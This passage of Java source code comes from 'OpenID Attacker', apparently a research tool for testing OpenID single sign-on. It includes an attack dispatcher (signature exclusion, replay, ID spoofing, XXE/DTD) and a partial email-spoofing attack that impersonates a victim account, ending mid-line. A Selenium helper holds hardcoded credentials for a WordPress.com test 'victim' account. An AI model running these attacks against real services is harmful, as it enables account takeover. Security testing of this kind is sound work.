openIdVersion new value of openIdVersion 164 | */ 165 | public void setOpenIdVersion(OpenIdVersion openIdVersion) { 166 | OpenIdVersion oldOpenIdVersion = this.openIdVersion; 167 | this.openIdVersion = openIdVersion; 168 | firePropertyChange(PROP_OPENIDVERSION, oldOpenIdVersion, openIdVersion); 169 | updateXml(); 170 | } 171 | } 172 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/discovery/xrds/XrdsGenerator.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.discovery.xrds; 20 | 21 | import javax.xml.XMLConstants; 22 | import org.w3c.dom.Document; 23 | import org.w3c.dom.Element; 24 | import wsattacker.sso.openid.attacker.discovery.utilities.DomUtilities; 25 | 26 | final public class XrdsGenerator { 27 | 28 | private static final String XMLNS = "xri://$xrd*($v*2.0)"; 29 | private static final String XMLNS_XRDS = "xri://$xrds"; 30 | private static final String XMLNS_OPENID = "http://openid.net/xmlns/1.0"; 31 | 32 | private XrdsGenerator() { 33 | } 34 | 35 | public static Document generateXrdsDocument(XrdsConfiguration config) { 36 | Element xrd = createEmptyXRDElement(); 37 | Document xrdsDocument = xrd.getOwnerDocument(); 38 | Element service = createService(xrdsDocument, config); 39 | xrd.appendChild(service); 40 | return xrdsDocument; 41 | } 42 | 43 | public static String generateString(XrdsConfiguration config) { 44 | Document xrdsDocument = generateXrdsDocument(config); 45 | return DomUtilities.domToString(xrdsDocument, true); 46 | } 47 | 48 | private static Element createService(Document xrdsDoc, XrdsConfiguration config) { 49 | // Create 50 | // 51 | final Element serviceElement = xrdsDoc.createElement("Service"); 52 | serviceElement.setAttribute("priority", String.valueOf(config.getPriority())); 53 | 54 | // Create 55 | // http://specs.openid.net/auth/2.0/signon 56 | final Element typeElement = xrdsDoc.createElement("Type"); 57 | serviceElement.appendChild(typeElement); 58 | final OpenIdVersion version = config.getOpenIdVersion(); 59 | typeElement.setTextContent(version.getURI()); 60 | 61 | // Create 62 | // $endpoint 63 | final Element endpointElement = xrdsDoc.createElement("URI"); 64 | serviceElement.appendChild(endpointElement); 65 | endpointElement.setTextContent(config.getBaseUrl()); 66 | 67 | // Create 68 | // $openid_identifier 69 | // or 70 | // $openid_identifier 71 | if (config.isIncludeIdentity()) { 72 | final Element identifierElement; 73 | if (version == OpenIdVersion.VERSION_20_CLAIMED_IDENTIFIER_ELEMENT || version == OpenIdVersion.VERSION_20_OP_IDENTIFIER_ELEMENT) { 74 | String identfierElementName = "LocalID"; 75 | identifierElement = xrdsDoc.createElement(identfierElementName); 76 | } else { 77 | String identfierElementName = "openid:Delegate"; 78 | identifierElement = xrdsDoc.createElementNS(XMLNS_OPENID, identfierElementName); 79 | } 80 | serviceElement.appendChild(identifierElement); 81 | identifierElement.setTextContent(config.getIdentity()); 82 | } 83 | 84 | // Return Element 85 | return serviceElement; 86 | } 87 | 88 | private static Element createEmptyXRDElement() { 89 | Document xrdsDoc = DomUtilities.createEmptyDom(); 90 | // Element root = xrdsDoc.createElement("xrds:XRDS"); 91 | Element root = xrdsDoc.createElementNS(XMLNS_XRDS, "xrds:XRDS"); 92 | xrdsDoc.appendChild(root); 93 | root.setAttribute("xmlns", XMLNS); 94 | // root.setAttribute("xmlns:xrds", XMLNS_XRDS); 95 | // root.setAttribute("xmlns:openid", XMLNS_OPENID); 96 | root.setAttributeNS(XMLConstants.XMLNS_ATTRIBUTE_NS_URI, "xmlns:xrds", XMLNS_XRDS); 97 | root.setAttributeNS(XMLConstants.XMLNS_ATTRIBUTE_NS_URI, "xmlns:openid", XMLNS_OPENID); 98 | 99 | Element xrd = xrdsDoc.createElement("XRD"); 100 | root.appendChild(xrd); 101 | xrd.setAttribute("version", "2.0"); 102 | return xrd; 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/EvaluationResult.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation; 20 | 21 | import wsattacker.sso.openid.attacker.evaluation.training.TrainingResult; 22 | import java.io.Serializable; 23 | import java.text.SimpleDateFormat; 24 | import java.util.Date; 25 | import java.util.HashMap; 26 | import java.util.List; 27 | import java.util.Map; 28 | import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult; 29 | 30 | public class EvaluationResult implements Serializable { 31 | private final Date date; 32 | private final String url; 33 | private int investigationTime = 0; 34 | 35 | private List trainingResults; 36 | private final Map> mapOfAttackResult = new HashMap<>(); 37 | 38 | public EvaluationResult(Date date, String url) { 39 | this.date = date; 40 | this.url = url; 41 | } 42 | 43 | public String getUrl() { 44 | return url; 45 | } 46 | 47 | public Date getDate() { 48 | return date; 49 | } 50 | 51 | public String getFormattedDate() { 52 | return new SimpleDateFormat("yyyy-MM-dd - HH:mm:ss").format(date); 53 | } 54 | 55 | public void addTrainingResults(List trainingResults) { 56 | this.trainingResults = trainingResults; 57 | } 58 | 59 | public List getTrainingResults() { 60 | return trainingResults; 61 | } 62 | 63 | public void addAttackResults(String attackName, List attackResults) { 64 | mapOfAttackResult.put(attackName, attackResults); 65 | } 66 | 67 | public Map> getMapOfAttackResult() { 68 | return mapOfAttackResult; 69 | } 70 | 71 | @Override 72 | public String toString() { 73 | return url + " - " + date; 74 | } 75 | 76 | public void addInvestigationTime(long time) { 77 | investigationTime += time; 78 | } 79 | 80 | public int getInvestigationTime() { 81 | return investigationTime; 82 | } 83 | 84 | public String getInvestigationTimeFormatted() { 85 | int seconds = investigationTime % 60; 86 | int minutes = investigationTime / 60; 87 | 88 | return minutes + "m " + seconds + "s"; 89 | } 90 | } -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/EvaluationResultStore.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation; 20 | 21 | import java.util.ArrayList; 22 | import java.util.List; 23 | import org.jdesktop.observablecollections.ObservableCollections; 24 | import org.jdesktop.observablecollections.ObservableList; 25 | 26 | public class EvaluationResultStore { 27 | private static EvaluationResultStore INSTANCE; 28 | 29 | private final ObservableList evaluationResults = ObservableCollections.observableList(new ArrayList()); 30 | 31 | private EvaluationResultStore() { 32 | 33 | } 34 | 35 | public static EvaluationResultStore getEvaluationResultStore() { 36 | if (INSTANCE == null) { 37 | INSTANCE = new EvaluationResultStore(); 38 | } 39 | 40 | return INSTANCE; 41 | } 42 | 43 | public void addEvaluationResult(EvaluationResult result) { 44 | evaluationResults.add(result); 45 | } 46 | 47 | public EvaluationResult getLatestEvaluationResult() { 48 | return evaluationResults.get(evaluationResults.size()-1); 49 | } 50 | 51 | public List getEvaluationResults() { 52 | return evaluationResults; 53 | } 54 | 55 | public void setEvaluationResults(List evaluationResults) { 56 | 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/ExecutorServices.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation; 20 | 21 | import java.util.concurrent.ExecutorService; 22 | import java.util.concurrent.Executors; 23 | 24 | public class ExecutorServices { 25 | private static ExecutorService multiThreadExecutor; 26 | private static ExecutorService singleThreadExecutor; 27 | 28 | private ExecutorServices() { 29 | 30 | } 31 | 32 | public static ExecutorService getMultiThreadExecutor() { 33 | if (multiThreadExecutor == null) { 34 | multiThreadExecutor = Executors.newCachedThreadPool(); 35 | } 36 | 37 | return multiThreadExecutor; 38 | } 39 | 40 | public static ExecutorService getSingleThreadExecutor() { 41 | if (singleThreadExecutor == null) { 42 | singleThreadExecutor = Executors.newSingleThreadExecutor(); 43 | } 44 | 45 | return singleThreadExecutor; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/LoginResult.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation; 20 | 21 | import java.io.File; 22 | import java.io.IOException; 23 | import java.io.Serializable; 24 | import java.text.SimpleDateFormat; 25 | import java.util.Date; 26 | import java.util.List; 27 | import java.util.logging.Level; 28 | import java.util.logging.Logger; 29 | import org.apache.commons.io.FileUtils; 30 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User; 31 | import wsattacker.sso.openid.attacker.log.RequestLogEntry; 32 | import wsattacker.sso.openid.attacker.log.RequestType; 33 | 34 | public class LoginResult implements Serializable { 35 | private User authenticatedUser = null; 36 | private final String pageSource; 37 | private List logEntries; 38 | private File screenshot; 39 | private String urlAfterLogin; 40 | 41 | public LoginResult(String pageSource, List logEntries, 42 | File screenshot, String urlAfterLogin) { 43 | 44 | this.pageSource = pageSource; 45 | this.logEntries = logEntries; 46 | this.urlAfterLogin = urlAfterLogin; 47 | System.out.println("URL after login: " + urlAfterLogin); 48 | try { 49 | String filename = new SimpleDateFormat("yyyy-MM-dd_hh-mm-ss'.png'").format(new Date()); 50 | File newFile = new File("images/" + filename); 51 | FileUtils.copyFile(screenshot, newFile); 52 | this.screenshot = newFile; 53 | } catch (IOException ex) { 54 | Logger.getLogger(LoginResult.class.getName()).log(Level.SEVERE, null, ex); 55 | } 56 | } 57 | 58 | public void setScreenshot(File screenshot) { 59 | try { 60 | FileUtils.copyFile(screenshot, this.screenshot); 61 | } catch (IOException ex) { 62 | Logger.getLogger(LoginResult.class.getName()).log(Level.SEVERE, null, ex); 63 | } 64 | } 65 | 66 | public ServiceProvider.User getAuthenticatedUser() { 67 | return authenticatedUser; 68 | } 69 | 70 | public void setAuthenticatedUser(User authenticatedUser) { 71 | this.authenticatedUser = authenticatedUser; 72 | } 73 | 74 | public String getPageSource() { 75 | return pageSource; 76 | } 77 | 78 | public List getLogEntries() { 79 | return logEntries; 80 | } 81 | 82 | public void addLogEntriesAtStart(List logEntries) { 83 | this.logEntries.addAll(0, logEntries); 84 | } 85 | 86 | public void addLogEntriesAtEnd(List logEntries) { 87 | this.logEntries.addAll(logEntries); 88 | } 89 | 90 | public void setLogEntries(List logEntries) { 91 | this.logEntries = logEntries; 92 | } 93 | 94 | public RequestLogEntry getLogEntryOfToken() { 95 | RequestLogEntry logEntryOfToken = null; 96 | 97 | for (RequestLogEntry logEntry: logEntries) { 98 | if (logEntry.getType() == RequestType.TOKEN_ATTACK || logEntry.getType() == RequestType.TOKEN_VALID) { 99 | logEntryOfToken = logEntry; 100 | break; 101 | } 102 | } 103 | 104 | return logEntryOfToken; 105 | } 106 | 107 | public boolean hasDirectVerification() { 108 | for (RequestLogEntry logEntry: logEntries) { 109 | if (logEntry.getType() == RequestType.CHECK_AUTHENTICATION) { 110 | return true; 111 | } 112 | } 113 | 114 | return false; 115 | } 116 | 117 | public boolean hasAssociation() { 118 | for (RequestLogEntry logEntry: logEntries) { 119 | if (logEntry.getType() == RequestType.ASSOCIATION) { 120 | return true; 121 | } 122 | } 123 | 124 | return false; 125 | } 126 | 127 | public boolean hasXxe() { 128 | for (RequestLogEntry logEntry: logEntries) { 129 | if (logEntry.getType() == RequestType.XXE) { 130 | return true; 131 | } 132 | } 133 | 134 | return false; 135 | } 136 | 137 | public boolean hasHtmlDiscovery() { 138 | for (RequestLogEntry logEntry: logEntries) { 139 | if (logEntry.getType() == RequestType.HTML) { 140 | return true; 141 | } else if (logEntry.getType() == RequestType.TOKEN_VALID || 142 | logEntry.getType() == RequestType.TOKEN_ATTACK) { 143 | break; 144 | } 145 | } 146 | return false; 147 | } 148 | 149 | public boolean hasXrdsDiscovery() { 150 | for (RequestLogEntry logEntry: logEntries) { 151 | if (logEntry.getType() == RequestType.XRDS) { 152 | return true; 153 | } else if (logEntry.getType() == RequestType.TOKEN_VALID || 154 | logEntry.getType() == RequestType.TOKEN_ATTACK) { 155 | break; 156 | } 157 | } 158 | return false; 159 | } 160 | 161 | public File getScreenshot() { 162 | return screenshot; 163 | } 164 | 165 | public String getUrlAfterLogin() { 166 | return urlAfterLogin; 167 | } 168 | } 169 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/SeleniumBrowser.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation; 20 | 21 | import java.awt.GraphicsDevice; 22 | import java.awt.GraphicsEnvironment; 23 | import java.io.File; 24 | import java.io.IOException; 25 | import java.io.InputStream; 26 | import java.util.ArrayList; 27 | import java.util.List; 28 | import java.util.logging.Level; 29 | import java.util.logging.Logger; 30 | import org.apache.commons.io.FileUtils; 31 | import org.openqa.selenium.By; 32 | import org.openqa.selenium.Dimension; 33 | import org.openqa.selenium.JavascriptExecutor; 34 | import org.openqa.selenium.OutputType; 35 | import org.openqa.selenium.Point; 36 | import org.openqa.selenium.TakesScreenshot; 37 | import org.openqa.selenium.WebDriver; 38 | import org.openqa.selenium.WebElement; 39 | import org.openqa.selenium.firefox.FirefoxDriver; 40 | import org.openqa.selenium.firefox.FirefoxProfile; 41 | import wsattacker.sso.openid.attacker.gui.evaluation.EvaluationGui; 42 | 43 | public class SeleniumBrowser { 44 | private static WebDriver INSTANCE; 45 | 46 | private SeleniumBrowser() { 47 | 48 | } 49 | 50 | public static WebDriver getWebDriver() { 51 | 52 | if (INSTANCE == null || hasQuit(INSTANCE) || INSTANCE.getWindowHandles().isEmpty()) { 53 | // create chrome profile 54 | //ChromeOptions options = new ChromeOptions(); 55 | //options.addExtensions(new File("adblock.crx")); 56 | 57 | FirefoxProfile profile = new FirefoxProfile(); 58 | 59 | // install adblock plus 60 | File tmpFile = new File("adblock.xpi"); 61 | try { 62 | InputStream inputStream = SeleniumBrowser.class.getResourceAsStream("/adblock_firefox.xpi"); 63 | FileUtils.copyInputStreamToFile(inputStream, tmpFile); 64 | profile.addExtension(tmpFile); 65 | } catch (IOException ex) { 66 | Logger.getLogger(EvaluationGui.class.getName()).log(Level.SEVERE, null, ex); 67 | } 68 | 69 | // disable local and session storage 70 | // some websites (e.g. stackoverflow) use those storages in addition 71 | // to session cookies 72 | profile.setPreference("dom.storage.enabled", false); 73 | 74 | // start new Firefox instance 75 | INSTANCE = new FirefoxDriver(profile); 76 | 77 | // screen size 78 | GraphicsDevice gd = GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice(); 79 | int width = gd.getDisplayMode().getWidth(); 80 | int height = gd.getDisplayMode().getHeight(); 81 | 82 | width = width > 1440 ? 1440 : width; 83 | height = height > 900 ? 900 : height; 84 | 85 | INSTANCE.manage().window().setPosition(new Point(0,0)); 86 | INSTANCE.manage().window().setSize(new Dimension(width, height)); 87 | 88 | tmpFile.delete(); 89 | } 90 | 91 | return INSTANCE; 92 | } 93 | 94 | private static boolean hasQuit(WebDriver driver) { 95 | try { 96 | driver.getTitle(); 97 | return false; 98 | } catch (Exception e) { 99 | return true; 100 | } 101 | } 102 | 103 | public static void quitWebDriver() { 104 | getWebDriver().quit(); 105 | 106 | INSTANCE = null; 107 | } 108 | 109 | public static void loginVictimToWordpress() { 110 | WebDriver driver = getWebDriver(); 111 | 112 | JavascriptExecutor jse = (JavascriptExecutor)driver; 113 | jse.executeScript("var win = window.open('https://de.wordpress.com/wp-login.php');"); 114 | 115 | List windowhandles = new ArrayList<>(driver.getWindowHandles()); 116 | driver.switchTo().window(windowhandles.get(1)); 117 | 118 | WebElement element = driver.findElement(By.id("user_login")); 119 | element.clear(); 120 | element.sendKeys("victim123456789"); 121 | 122 | element = driver.findElement(By.id("user_pass")); 123 | element.clear(); 124 | element.sendKeys("Victim1234!"); 125 | 126 | element.submit(); 127 | 128 | 129 | /*windowhandles.forEach((windowHandle) -> { 130 | System.out.println("windowHandle: " + windowHandle); 131 | });*/ 132 | 133 | driver.switchTo().window(windowhandles.get(0)); 134 | } 135 | 136 | public static File takeScreenshot() { 137 | // take a screenshot 138 | return ((TakesScreenshot)getWebDriver()).getScreenshotAs(OutputType.FILE); 139 | 140 | // construct file name 141 | /*imageNumber++; 142 | String filename = imageNumber + ".png"; 143 | 144 | try { 145 | // copy file in pictures folder 146 | FileUtils.copyFile(file, new File(System.getProperty("user.home") + "/Documents/images/" + filename)); 147 | } catch (IOException ex) { 148 | Logger.getLogger(ServiceProvider.class.getName()).log(Level.SEVERE, null, ex); 149 | }*/ 150 | } 151 | 152 | public static void deleteAllCookies() { 153 | SeleniumBrowser.getWebDriver().manage().deleteAllCookies(); 154 | } 155 | } -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/Attack.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.attack; 20 | 21 | import static java.lang.annotation.ElementType.METHOD; 22 | import java.lang.annotation.Retention; 23 | import java.lang.annotation.RetentionPolicy; 24 | import java.lang.annotation.Target; 25 | 26 | @Target(METHOD) 27 | @Retention(RetentionPolicy.RUNTIME) 28 | public @interface Attack { 29 | int number() default 0; 30 | int dependsOnFailureOf() default -1; 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/AttackResult.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.attack; 20 | 21 | import java.io.Serializable; 22 | import wsattacker.sso.openid.attacker.evaluation.LoginResult; 23 | 24 | public class AttackResult implements Serializable { 25 | private final String description; 26 | private final LoginResult loginResult; 27 | private final Result result; 28 | private final Interpretation interpretation; 29 | 30 | public enum Result { 31 | SUCCESS, FAILURE, NOT_PERFORMABLE, NOT_DETECTABLE 32 | } 33 | 34 | public enum Interpretation { 35 | CRITICAL, RESTRICTED, PREVENTED, NEUTRAL 36 | } 37 | 38 | public AttackResult(String description, LoginResult loginResult, Result result, Interpretation interpretation) { 39 | this.description = description; 40 | this.loginResult = loginResult; 41 | this.result = result; 42 | this.interpretation = interpretation; 43 | } 44 | 45 | public String getDescription() { 46 | return description; 47 | } 48 | 49 | public LoginResult getLoginResult() { 50 | return loginResult; 51 | } 52 | 53 | public Result getResult() { 54 | return result; 55 | } 56 | 57 | public Interpretation getInterpretation() { 58 | return interpretation; 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/AttackWorker.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.attack; 20 | 21 | import java.util.List; 22 | import javax.swing.SwingWorker; 23 | import org.apache.commons.lang3.time.StopWatch; 24 | import wsattacker.sso.openid.attacker.evaluation.EvaluationResult; 25 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider; 26 | 27 | public class AttackWorker extends SwingWorker { 28 | 29 | private AbstractAttack attack; 30 | //private final HtmlOutput htmlOutput; 31 | private final String attackName; 32 | 33 | private List attackResults; 34 | private final EvaluationResult evaluationResult; 35 | 36 | public AttackWorker(final String attackName, final ServiceProvider serviceProvider, 37 | EvaluationResult evaluationResult) { 38 | this.attackName = attackName; 39 | this.evaluationResult = evaluationResult; 40 | 41 | switch (attackName) { 42 | case "Signature Exclusion": 43 | attack = new SignatureExclusionAttack(serviceProvider); 44 | break; 45 | case "Replay": 46 | attack = new ReplayAttack(serviceProvider); 47 | break; 48 | case "Token Recipient Confusion": 49 | attack = new TokenRecipientConfusionAttack(serviceProvider); 50 | break; 51 | case "ID Spoofing": 52 | attack = new IdSpoofingAttack(serviceProvider); 53 | break; 54 | case "Key Confusion": 55 | attack = new KeyConfusionAttack(serviceProvider); 56 | break; 57 | case "Discovery Spoofing": 58 | attack = new DiscoverySpoofingAttack(serviceProvider); 59 | break; 60 | case "Parameter Forgery": 61 | attack = new ParameterForgeryAttack(serviceProvider); 62 | break; 63 | case "XXE/DTD": 64 | attack = new DtdAttack(serviceProvider); 65 | break; 66 | case "Malicious Metadata": 67 | attack = new MaliciousMetadataAttack(serviceProvider); 68 | break; 69 | case "Same IdP Delegation": 70 | attack = new SameIdpDelegationAttack(serviceProvider); 71 | break; 72 | } 73 | } 74 | 75 | 76 | 77 | @Override 78 | protected Void doInBackground() throws Exception { 79 | 80 | System.out.println("##### Start " + attackName + " Attack #####"); 81 | 82 | StopWatch stopWatch = new StopWatch(); 83 | stopWatch.start(); 84 | 85 | this.attackResults = attack.performAttacks(); 86 | 87 | stopWatch.stop(); 88 | evaluationResult.addInvestigationTime(stopWatch.getTime()/1000); 89 | 90 | return null; 91 | } 92 | 93 | @Override 94 | protected void done() { 95 | evaluationResult.addAttackResults(attackName, attackResults); 96 | } 97 | } -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/MaliciousMetadataAttack.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.attack; 20 | 21 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter; 22 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod; 23 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration; 24 | import wsattacker.sso.openid.attacker.evaluation.LoginResult; 25 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider; 26 | import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Interpretation; 27 | import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Result; 28 | 29 | public class MaliciousMetadataAttack extends AbstractAttack { 30 | 31 | public MaliciousMetadataAttack(ServiceProvider serviceProvider) { 32 | super(serviceProvider); 33 | } 34 | 35 | @Attack(number = 0) 36 | private AttackResult performEmailAttack() { 37 | // clear all parameters and log in 38 | serverController.getServer().clearParameters(); 39 | LoginResult loginResult = serviceProvider.login(ServiceProvider.User.ATTACKER); 40 | 41 | 42 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true); 43 | 44 | String emailParameterName; 45 | 46 | // sreg or ax extension 47 | if (keeper.hasParameter("openid.sreg.email")) { 48 | emailParameterName = "openid.sreg.email"; 49 | } else if (keeper.hasParameter("openid.ax.value.email")) { 50 | emailParameterName = "openid.ax.value.email"; 51 | } else { 52 | return new AttackResult("SP does not request email.", loginResult, Result.NOT_PERFORMABLE, Interpretation.NEUTRAL); 53 | } 54 | 55 | String victimEmail = OpenIdServerConfiguration.getAnalyzerInstance().getValidUser().getByName("email").getValue(); 56 | 57 | AttackParameter opEndpointParameter = keeper.getParameter(emailParameterName); 58 | opEndpointParameter.setAttackValueUsedForSignatureComputation(true); 59 | opEndpointParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 60 | opEndpointParameter.setAttackMethod(HttpMethod.GET); 61 | opEndpointParameter.setAttackValue(victimEmail); 62 | 63 | // include modified parameter in signature 64 | AttackParameter sigParameter = keeper.getParameter("openid.sig"); 65 | sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 66 | sigParameter.setAttackMethod(HttpMethod.GET); 67 | 68 | loginResult = serviceProvider.login(ServiceProvider.User.ATTACKER); 69 | 70 | boolean success = serviceProvider.determineAuthenticatedUser(loginResult.getPageSource(), loginResult.getUrlAfterLogin()) == ServiceProvider.User.VICTIM; 71 | Result result = success ? Result.SUCCESS : 